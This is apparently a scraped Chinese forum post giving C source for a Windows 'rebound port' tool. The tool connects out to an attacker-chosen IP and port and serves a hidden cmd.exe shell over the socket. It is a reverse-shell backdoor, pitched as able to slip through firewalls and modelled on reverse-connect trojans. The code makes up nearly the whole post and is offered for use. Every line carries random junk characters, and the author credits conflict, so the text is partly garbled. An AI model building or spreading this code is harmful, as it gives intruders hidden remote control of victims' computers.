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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8 <~E;:  
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/* ============================== 4"=(kC~~  
Rebound port in Windows NT 6dzY9   
By wind,2006/7 ?xb4y=P7  
===============================*/ '5*8'.4Sy  
#include !^,<nP  
#include BnB]]<gO"  
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#pragma comment(lib,"wsock32.lib") ]<zjD%Ez  
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void OutputShell(); o-m9}pV  
SOCKET sClient; N N1(f  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V1 H3}  
2<  "-  
void main(int argc,char **argv) &* Aems{-  
{ :'F7^N3;H  
WSADATA stWsaData; $4&%<'l3I  
int nRet; c(R=f +  
SOCKADDR_IN stSaiClient,stSaiServer; k4AF .U`I  
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if(argc != 3) wB~5&:]jr  
{ tr<iFT}C  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?Ji nX'z  
return; qi&;2Yv  
} C.& R,$  
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WSAStartup(MAKEWORD(2,2),&stWsaData); d7*fP S  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); : }q~<  
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stSaiClient.sin_family = AF_INET; nKO4o8js{{  
stSaiClient.sin_port = htons(0); BwpSw\\?@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5g-AB`6T  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wS)2ymRg  
{ 3G;#QK -c  
printf("Bind Socket Failed!\n"); %+{[%?xh  
return; N1vPY]8  
} }%@q; "9`  
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stSaiServer.sin_family = AF_INET; ):c)$$dn  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !=Hu?F p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (sfy14>\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WcG}9)9  
{ XuY#EJbZ  
printf("Connect Error!"); Ei Yj`P  
return; T- |36Os4  
} ?q %&"  
OutputShell(); ;Sqn w  
} $$tFP"pZ  
d<@SRHP(  
void OutputShell() VsrYU@V  
{ ^_Ap?zn  
char szBuff[1024]; }+F&=-P)  
SECURITY_ATTRIBUTES stSecurityAttributes; [ 1$p}x  
OSVERSIONINFO stOsversionInfo; GgNqci,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &6#>a"?"  
STARTUPINFO stStartupInfo; FS1> J%P  
char *szShell; 8q5 `A Gl  
PROCESS_INFORMATION stProcessInformation; 7@6B\':  
unsigned long lBytesRead; [2 yxTK  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bh~"LQS1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M(8Mj[>>Rj  
stSecurityAttributes.lpSecurityDescriptor = 0; h5do?b v!  
stSecurityAttributes.bInheritHandle = TRUE; zBKfaQI,  
?##3E, /"9  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~hk;OB;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .C=I~Z  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BS@x&DB  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vK10p)ZV  
stStartupInfo.wShowWindow = SW_HIDE; 9bxBm  
stStartupInfo.hStdInput = hReadPipe; }5??n~:*5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Pcs62aE  
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GetVersionEx(&stOsversionInfo); @}8~TbP  
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switch(stOsversionInfo.dwPlatformId) dHUcu@,  
{ CU7WK}2h2C  
case 1: _^(}6o  
szShell = "command.com"; ,+Bp>=pvs  
break; !SxZN dv  
default: [l7 G9T}/[  
szShell = "cmd.exe"; 0?0$6F  
break; I/&uiC{l@  
} f0h^ULd  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9!kH:Az[p  
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send(sClient,szMsg,77,0); 4uV,$/  
while(1) ydx-` yg#  
{ O7x'q<PFU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {=q$k=ib  
if(lBytesRead) i"HENJyCb  
{ 0)^$9 Z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); G8Qo]E9-/  
send(sClient,szBuff,lBytesRead,0); !i dQ-&  
} jlA?JB  
else yW!+:y_N_  
{ ?L'4*S]  
lBytesRead=recv(sClient,szBuff,1024,0); V|njgcn d  
if(lBytesRead<=0) break; iL](w3EM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #zL0P>P'a  
} N;6@f*3_i  
} /ad]pdF  
*}n)KK7aT  
return; @S>$y5if  
}
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